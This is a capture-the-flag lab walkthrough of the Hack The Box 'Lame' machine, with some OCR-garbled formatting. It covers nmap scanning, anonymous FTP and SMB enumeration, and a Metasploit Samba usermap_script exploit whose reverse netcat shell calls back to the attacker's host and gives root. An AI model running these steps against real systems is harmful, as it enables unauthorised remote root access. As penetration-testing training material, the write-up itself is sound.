LAME -

As an Initial step, used **Nmap** tool to enumerate and scan for open ports and services running on the target machine.

```
-(kali⊛kali)-[~/HTB]
s nmap -sC -sV 10.129.97.120 -Pn
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-11 14:52 EDT
Nmap scan report for 10.129.97.120
Host is up (0.026s latency).
Not shown: 996 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 2.3.4
 _ftp-anon: Anonymous FTP login allowed (FTP code 230)
  ftp-syst:
   STAT:
  FTP server status:
       Connected to 10.10.14.53
      Logged in as ftp
      TYPE: ASCII
      No session bandwidth limit
       Session timeout in seconds is 300
      Control connection is plain text
       Data connections will be plain text
       vsFTPd 2.3.4 - secure, fast, stable
 _End of status
22/tcp open ssh
                          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
 ssh-hostkey:
   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
   2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
 smb-os-discovery:
   OS: Unix (Samba 3.0.20-Debian)
    Computer name: lame
    NetBIOS computer name:
    Domain name: hackthebox.gr
    FQDN: lame.hackthebox.gr
   System time: 2022-06-11T14:53:36-04:00
 smb-security-mode:
   account_used: <blank>
    authentication_level: user
    challenge_response: supported
    message_signing: disabled (dangerous, but default)
 _smb2-time: Protocol negotiation failed (SMB2)
 _clock-skew: mean: 2h00m29s, deviation: 2h49m45s, median: 27s
```

With the above results, there is a SSH, FTP and SMB service running on the machine.

Logged in to the FTP session as the service accepts Anonymous logins but as listed the contents in the session, there are no files in it.

```
-(kali⊛kali)-[~/HTB]
└$ ftp 10.129.97.120
Connected to 10.129.97.120.
220 (vsFTPd 2.3.4)
Name (10.129.97.120:kali): Anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||32756|).
150 Here comes the directory listing.
226 Directory send OK.
ftp> ls -al
229 Entering Extended Passive Mode (|||22576|).
150 Here comes the directory listing. drwxr-xr-x 2 0 65534
                                        4096 Mar 17
                                                     2010 .
               2 0
                                        4096 Mar 17 2010 ..
drwxr-xr-x
                          65534
```

Then moved forward to enumerate the SMB service and listed out the SMB shares on the machine.

```
-(kali⊛kali)-[~/HTB]
smbclient -N -L \\10.129.97.120
Anonymous login successful
        Sharename
                        Type
                                  Comment
                        Disk
                                  Printer Drivers
        print$
                                  oh noes!
        tmp
                        Disk
                        Disk
        opt
        IPC$
                        IPC 
                                   IPC Service (lame server (Samba 3.0.20-Debian))
                                   IPC Service (lame server (Samba 3.0.20-Debian))
                        IPC
        ADMIN$
Reconnecting with SMB1 for workgroup listing.
Anonymous login successful
        Server
                             Comment
        Workgroup
                             Master
        WORKGROUP
                             LAME
```

Then logged in to the SMB share session to read the contents and yet no luck in the also.

```
-(kali%kali)-[~/HTB]
$ smbclient \\\10.129.97.120\\tmp
Enter WORKGROUP\kali's password:
Anonymous login successful
    "help" to get a list of possible commands.
smb: \> ls
                                              0 Sat Jun 11 14:59:48 2022
                                     D
                                    DR
                                              0 Sat Oct 31 02:33:58 2020
  .ICE-unix
                                              0 Sat Jun 11 14:51:46 2022
                                    DH
  vmware-root
                                                Sat Jun 11 14:52:51 2022
  .X11-unix
                                    DH
                                              0 Sat Jun 11 14:52:10 2022
                                             11 Sat Jun 11 14:52:10 2022
  .X0-lock
                                    HR
 5565.jsvc_up
                                              0 Sat Jun 11 14:52:57 2022
                                     R
 vgauthsvclog.txt.0
                                     R
                                           1600 Sat Jun 11 14:51:44 2022
                7282168 blocks of size 1024. 5385876 blocks available
smb: \>
```

Downloaded the file to the local machine using **mget** tool and read the contents which had not much information.

```
(kali®kali)-[~/HTB/Lame]
[VGAuthService] Group 'service'
[VGAuthService] samlSchemaDir=/usr/lib/vmware-vgauth/schemas
[VGAuthService] Pref_LogAllEntries: End of preferences
[VGAuthService] VGAuthService 'build-4448496' logging at level 'normal'
[VGAuthService] Pref_LogAllEntries: 1 preference groups in file '/etc/vmware-tools/vgauth.conf'
[VGAuthService] Group 'service'
[VGAuthService] Freq_LogAllEntries: End of preferences
[VGAuthService] Pref_LogAllEntries: End of preferences
[VGAuthService] Cannot load message catalog for domain 'VGAuthService', language 'C', catalog d:
[VGAuthService] INIT SERVICE
[VGAuthService] Using '/var/lib/vmware/VGAuth/aliasStore' for alias store root directory
[VGAuthService] SAMLCreateAndPopulateGrammarPool: Using '/usr/lib/wmware-vgauth/schemas' for SAM
[VGAuthService] SAML Init: Allowing 300 of clock skew for SAML date validation
 [Jun 11 14:51:44.658]
[Jun 11 14:51:44.658]
[Jun 11 14:51:44.658]
[Jun 11 14:51:44.709]
[Jun 11 14:51:44.709]
[Jun 11 14:51:44.709]
                                                               message]
                                                               message]
  [Jun 11 14:51:44.709]
[Jun 11 14:51:44.709]
                                                                message]
                                                                 message]
                                                                                                                                Cannot load message catalog for domain 'VGAuthService', language 'C', catalog dir '.'.
INIT SERVICE
  [Jun 11 14:51:44.709]
[Jun 11 14:51:44.709]
                                                               message]
                                                                                                                                USing '/var/lib/vmware/VGAuth/aliasStore' for alias store root directory
SAMLCreateAndPopulateGrammarPool: Using '/usr/lib/vmware-vgauth/schemas' for SAML schemas
SAML_Init: Allowing 300 of clock skew for SAML date validation
BEGIN SERVICE
  Jun
Jun
             11 14:51:44.709]
11 14:51:44.740]
                                                               message]
                                                                message]
                                                                                        [VGAuthService]
                                                                 message
```

Finally on enumerating on the version of SMB service on the machine and searching exploits on the same, found an excellent exploit which can get us shell on to the machine as shown below.

```
msf6 > search Samba 3.0
Matching Modules
                                                                          Disclosure Date Rank
                                                                                                                    Check Description
                                                                                                                                        "username map script" Command Execution
chain_reply Memory Corruption (Linux x86)
lsa_io_trans_names Heap Overflow
lsa_io_trans_names Heap Overflow
lsa_io_trans_names Heap Overflow
    0 exploit/multi/samba/usermap_script
                                                                          2007-05-14
                                                                                                                    No
       exploit/linux/samba/chain_reply 2010-06-16
exploit/linux/samba/lsa_transnames_heap 2007-05-14
exploit/solaris/samba/lsa_transnames_heap 2007-05-14
                                                                                                    good
                                                                                                    good
                                                                                                    average
                                                                                                                    No
                                                                                                    average
Interact with a module by name or index. For example info 4, use 4 or use exploit/solaris/samba/lsa_transnames_heap
msf6 > use 0
     ___No payload configured, defaulting to cmd/unix/reverse_netcat
```

Configured all the details for the exploit and ran the same.

```
msf6 exploit(multi/samba/usermap_script) > run

[*] Started reverse TCP handler on 10.10.14.53:4444

[*] Command shell session 1 opened (10.10.14.53:4444 → 10.129.97.120:35015) at 2022-06-11 15:21:00 -0400

ls
bin
boot
cdrom
dev
etc
home
```

Command Shell has been achieved on root privileges and hence the flag.

```
id
uid=0(root) gid=0(root)
cd root
/bin/sh: line 8: cd: root: No such file or directory
ls
Desktop
reset_logs.sh
root.txt
vnc.log
cat root.txt
f
```